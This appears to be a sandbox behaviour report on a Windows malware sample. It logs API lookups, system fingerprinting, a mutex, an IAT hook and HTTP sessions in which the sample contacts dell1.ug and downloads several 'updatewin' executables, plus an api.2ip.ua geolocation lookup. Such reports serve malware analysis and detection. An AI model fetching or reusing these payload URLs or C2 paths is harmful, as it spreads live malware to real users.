Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76c33c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x76c4ce46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76c33da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76cb425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x76c534d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x76c4f481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76c33bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76cd739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x76c5d1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76c38a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76cb40d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x76c317ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76c3e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x74f57136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x74f605ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x74f58bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x74fafd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d4df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d4ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d4ca4c True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74d67144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74d6779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d4c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74d52a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74d5369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x76217078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x755fb636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x75607259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x756286d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7522fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75224642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75223f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75224af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74b59263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x75bcb131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x75bc311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x75bd7673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x74a9572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x74a8436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x759e5d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathA, address_out = 0x760e7804 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 58
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create LPCWSTRszTitle class_name = LPCWSTRszWindowClass, wndproc_parameter = 0 True 1
Fn
System (259)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 1
Fn
Sleep duration = 40000 milliseconds (40.000 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Get Time type = System Time, time = 2019-07-30 00:49:39 (UTC) True 2
Fn
Get Time type = Ticks, time = 112617 True 1
Fn
Get Time type = Performance Ctr, time = 16999745709 True 1
Fn
Get Time type = Ticks, time = 112663 True 16
Fn
Get Time type = Ticks, time = 112679 True 233
Fn
Get Time type = Performance Ctr, time = 17023145050 True 1
Fn
Get Time type = System Time, time = 2019-07-30 00:49:41 (UTC) True 1
Fn
Get Info type = Operating System True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
HTTP Sessions (8)
»
Information Value
Total Data Sent 1.20 KB
Total Data Received 1.21 MB
Contacted Host Count 2
Contacted Hosts 8.208.3.178, 77.123.139.189
HTTP Session #1
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 173 bytes
Data Received 307 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D&first=true True 1
Fn
Read Response size = 1024, size_out = 103 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 103 bytes
Data Received 272.77 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/updatewin1.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/updatewin1.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 2560 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #3
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 103 bytes
Data Received 274.77 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/updatewin2.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/updatewin2.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 4608 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #4
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 102 bytes
Data Received 277.77 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/updatewin.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/updatewin.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 7680 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #5
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 94 bytes
Data Received 407 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/3.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/3.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
HTTP Session #6
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 94 bytes
Data Received 407 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/4.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/4.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
HTTP Session #7
»
Information Value
User Agent Microsoft Internet Explorer
Server Name dell1.ug
Server Port 80
Username -
Password -
Data Sent 94 bytes
Data Received 406.77 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = dell1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /files/penelop/5.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://dell1.ug/files/penelop/5.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 40
Fn
Data
Read Response size = 10240, size_out = 6656 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #8
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.19 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #6: updatewin1.exe
671 0
»
Information Value
ID #6
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb14
Parent PID 0xad8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B18
0x B28
0x B2C
0x B38
0x B3C
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin1.exe 0x00400000 0x0044CFFF Relevant Image - 32-bit - False False
...
buffer 0x005A5000 0x005A5FFF Marked Executable - 32-bit - False False
...
updatewin1.exe 0x00400000 0x0044CFFF Process Termination - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000590000:+0x16795 104. entry of updatewin1.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to pagefile_0x00000000009b0000:+0x5bf6f6
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe show_window = SW_SHOW True 1
Fn
Module (154)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Load api-ms-win-appmodel-runtime-l1-1-2 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe base_address = 0x400000 True 2
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
